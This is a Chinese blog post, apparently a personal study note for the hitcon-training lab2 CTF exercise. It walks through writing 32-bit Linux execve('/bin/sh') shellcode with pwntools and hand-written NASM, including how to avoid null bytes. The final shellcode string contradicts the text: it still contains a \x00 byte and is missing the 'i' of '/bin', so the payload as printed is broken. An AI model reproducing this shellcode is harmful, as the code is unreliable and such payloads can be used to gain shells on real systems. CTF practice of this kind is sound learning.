今天開始在做hitcon-training的題目,做到lab2就發現了自己的知識盲區,遇到無法執行shell的情況,需要自己打shellcode執行cat flag 操作
經過一系列的搜索,發現了幾種編寫shellcode的方法:
首先,就可以用pwntools來編寫:
1.asm 進行匯編,使用參數來指定cpu類型以及操作系統
32位linux:
asm("mov eax, SYS_select", arch = 'i386', os = 'linux')
'\xb8]\x00\x00\x00'
64位linux:
asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
'\xb8\x17\x00\x00\x00'
2shellcode生成器
32位:shellcraft.i386.linux.sh()
64位:shellcraft.amd64.linux.sh()
第二種方法就是用匯編來寫:
假設我們現在要寫一個shellcode,用來執行 execve("/bin/sh",0)
執行系統調用首先要知道調用函數對應的系統調用號,32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢,我們這里獲得shell只需用到execve函數,從表中可以看到execve的調用號是0x0b,需要把這個0x0b傳給eax,接着執行 int 0x80軟中斷,也就是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數

第一步,就是需要將系統調用號加入到eax中。
第二步,ebx用於保存函數調用的第一個參數(ecx存放第二個參數,edx存放第三個參數,esi存放第四個參數,edi存放第五個參數)
如果參數個數超過5個,那么就必須將參數數組存儲在內存中,而且必須將該數組的地址存儲在ebx中。
一旦加載寄存器之后,就會調用int 0x80 匯編指令來發出軟中斷,強迫內核暫停手頭上的工作並處理該中斷。
在這里,第1個參數ebx,剛好是“/bin/sh”;第2個參數ecx是一個指針數組,第一個元素是第一個參數地址,第二個元素為空;第3個參數是edx為空。最后execve的系統調用號就放在了寄存器eax中=0xb。
接着我們就開始編寫shellcode了:
global _start
_start:
mov eax,0 #eax置0
mov edx,0 #edx置0
push edx #也就是 execve()中的第三個參數,由於是入棧,所以最先入的是最后一個參數
push "/sh"
push "/bin" #將/bin/sh存入棧中
mov ebx,esp #ebx指向/bin/sh字符串,保存了/bin/sh的地址
xor eax,eax #xor異或運算使eax清0,xor eax,eax 指令為2字節而mov eax,0 指令為5個字節一般用效率高的xor
mov al,0Bh ;eax的低位置為execve函數中斷號
int 80h

保存為shellcode.asm,通過編譯鏈接,然后運行,獲得shell

使用 objdump -d 獲得機器碼

我們發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷,Shellcode如果存儲在堆或是棧的內存中,這樣在shellcode執行時就不能出現\x00這樣的階段字符,這就需要我們在構造shellcode時防止此類壞字符的出現。所以我們要避免出現/x00字節,重新修改我們的匯編程序
global _start
_start:
xor ecx,ecx 使用這種方法清零就不會出現\x00
xor edx,edx
push edx
push "/sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h
編譯鏈接運行,得到機器碼

需要注意的是,編譯后,0x68732f實際上就是字符串“hs/”,而0x6e69622f是“nib/”
這是因為32位的程序采用的小端序存儲,所以參數字符都是倒過來的
沒有出現/x00字節,得到最終的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
通過這種方法,我們就把shellcode寫出來了,若是想調用其他的函數或者執行其他的語句,也可以用這種方式,具體這里有一道題目可以拿來練練手,hitcon-training-lab2
小禮物走一走,來簡書關注我
作者:23R3F
鏈接:https://www.jianshu.com/p/eb75426b85cb
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯系作者獲得授權並注明出處。